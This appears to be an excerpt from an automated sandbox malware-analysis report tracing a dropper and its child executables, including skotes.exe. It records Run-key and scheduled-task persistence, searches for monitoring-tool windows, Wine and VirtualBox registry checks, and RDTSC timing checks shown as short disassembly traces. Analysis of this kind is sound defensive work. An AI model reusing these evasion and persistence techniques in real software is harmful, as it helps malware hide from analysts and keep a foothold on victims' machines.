Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 275cb7a9a2.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 275cb7a9a2.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 544ed086e5.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 544ed086e5.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c86e5fe17c.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c86e5fe17c.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003087001\c86e5fe17c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GXK4CGNQC97BZAH5XF5VF7CI8.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1003086001\544ed086e5.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\IM4G4OFDR8U7L3FGHM3.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\PP98OPFFP28IWX5W.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\PP98OPFFP28IWX5W.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1003085001\275cb7a9a2.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\8Z32J2RQ40P4PPMYF6S72.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\AVOZ1UBOYVJSZDS0TDG9BM0HUDU.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\AVOZ1UBOYVJSZDS0TDG9BM0HUDU.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDF748 second address: EDEFB8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1D201C35h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d xor dword ptr [ebp+122D350Bh], eax 0x00000013 push dword ptr [ebp+122D11B9h] 0x00000019 add dword ptr [ebp+122D34D1h], edi 0x0000001f call dword ptr [ebp+122D2CE7h] 0x00000025 pushad 0x00000026 jns 00007FAD1D201C36h 0x0000002c xor eax, eax 0x0000002e sub dword ptr [ebp+122D35A6h], edx 0x00000034 mov edx, dword ptr [esp+28h] 0x00000038 jmp 00007FAD1D201C2Ah 0x0000003d mov dword ptr [ebp+122D3E98h], eax 0x00000043 jnl 00007FAD1D201C32h 0x00000049 mov esi, 0000003Ch 0x0000004e jno 00007FAD1D201C3Ch 0x00000054 add esi, dword ptr [esp+24h] 0x00000058 sub dword ptr [ebp+122D3137h], ecx 0x0000005e jmp 00007FAD1D201C31h 0x00000063 lodsw 0x00000065 mov dword ptr [ebp+122D3137h], ecx 0x0000006b add eax, dword ptr [esp+24h] 0x0000006f jo 00007FAD1D201C36h 0x00000075 jbe 00007FAD1D201C30h 0x0000007b jmp 00007FAD1D201C2Ah 0x00000080 mov ebx, dword ptr [esp+24h] 0x00000084 mov dword ptr [ebp+122D35A6h], ecx 0x0000008a nop 0x0000008b push eax 0x0000008c push edx 0x0000008d jng 00007FAD1D201C3Fh 0x00000093 jmp 00007FAD1D201C39h 0x00000098 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10479F5 second address: 1047A1F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1CCFA090h 0x00000007 jmp 00007FAD1CCFA096h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1047A1F second address: 1047A30 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007FAD1D201C26h 0x00000009 js 00007FAD1D201C26h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104827A second address: 104827E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104827E second address: 10482AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1D201C2Fh 0x00000007 jmp 00007FAD1D201C31h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jg 00007FAD1D201C26h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10482AA second address: 10482BD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 js 00007FAD1CCFA086h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push edi 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10482BD second address: 10482D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FAD1D201C26h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push ebx 0x0000000e je 00007FAD1D201C26h 0x00000014 pushad 0x00000015 popad 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1049E95 second address: 1049E99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1049E99 second address: 1049EA3 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FAD1D201C26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1049EA3 second address: 1049F10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1CCFA098h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 7D288DCDh 0x00000010 mov edx, 0D09F51Ch 0x00000015 mov dword ptr [ebp+122D2BD7h], esi 0x0000001b push 00000003h 0x0000001d jmp 00007FAD1CCFA08Dh 0x00000022 push 00000000h 0x00000024 xor esi, dword ptr [ebp+122D3C00h] 0x0000002a push 00000003h 0x0000002c call 00007FAD1CCFA089h 0x00000031 push edx 0x00000032 pushad 0x00000033 jmp 00007FAD1CCFA099h 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1049F10 second address: 1049F26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FAD1D201C2Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1049F26 second address: 1049F3B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e jnp 00007FAD1CCFA086h 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1049F3B second address: 1049F89 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1D201C2Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push edi 0x0000000c push eax 0x0000000d jmp 00007FAD1D201C39h 0x00000012 pop eax 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FAD1D201C37h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1049F89 second address: 1049FE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007FAD1CCFA090h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop eax 0x0000000e push 00000000h 0x00000010 push ecx 0x00000011 call 00007FAD1CCFA088h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], ecx 0x0000001b add dword ptr [esp+04h], 00000017h 0x00000023 inc ecx 0x00000024 push ecx 0x00000025 ret 0x00000026 pop ecx 0x00000027 ret 0x00000028 push edx 0x00000029 movsx edi, ax 0x0000002c pop ecx 0x0000002d and edx, 73F87E21h 0x00000033 lea ebx, dword ptr [ebp+1243EBF6h] 0x00000039 xchg eax, ebx 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007FAD1CCFA090h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1049FE5 second address: 1049FEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FAD1D201C26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104A081 second address: 104A089 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104A089 second address: 104A0DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push edx 0x00000009 jmp 00007FAD1D201C32h 0x0000000e pop edx 0x0000000f jmp 00007FAD1D201C2Eh 0x00000014 popad 0x00000015 nop 0x00000016 mov esi, dword ptr [ebp+122D3D68h] 0x0000001c push 00000000h 0x0000001e mov ecx, ebx 0x00000020 push A18C2430h 0x00000025 push ebx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FAD1D201C34h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105D199 second address: 105D1C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1CCFA08Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FAD1CCFA097h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106ADD1 second address: 106ADE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FAD1D201C31h 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10691CE second address: 10691E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD1CCFA08Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1069480 second address: 1069486 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1069486 second address: 10694AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAD1CCFA096h 0x00000009 jne 00007FAD1CCFA086h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jno 00007FAD1CCFA086h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10694AF second address: 10694B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106962F second address: 1069648 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push edi 0x0000000c pop edi 0x0000000d jmp 00007FAD1CCFA08Bh 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1069648 second address: 106965B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FAD1D201C2Ch 0x00000008 jng 00007FAD1D201C26h 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1069CC1 second address: 1069CCF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007FAD1CCFA092h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1037095 second address: 10370A9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007FAD1D201C32h 0x0000000c jp 00007FAD1D201C26h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106A547 second address: 106A54F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106A54F second address: 106A557 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106A557 second address: 106A56D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnc 00007FAD1CCFA092h 0x0000000e jo 00007FAD1CCFA086h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106A6D1 second address: 106A6D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106A6D6 second address: 106A6E0 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FAD1CCFA08Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106A6E0 second address: 106A6EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106A6EB second address: 106A6F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106A6F0 second address: 106A70E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007FAD1D201C26h 0x00000009 jmp 00007FAD1D201C33h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106E060 second address: 106E087 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FAD1CCFA086h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FAD1CCFA099h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106E087 second address: 106E091 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FAD1D201C26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106E091 second address: 106E095 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106E095 second address: 106E0D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push ebx 0x0000000d jmp 00007FAD1D201C30h 0x00000012 pop ebx 0x00000013 mov eax, dword ptr [eax] 0x00000015 jmp 00007FAD1D201C32h 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 push ecx 0x00000022 pop ecx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106C8C4 second address: 106C8DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAD1CCFA093h 0x00000009 rdtsc
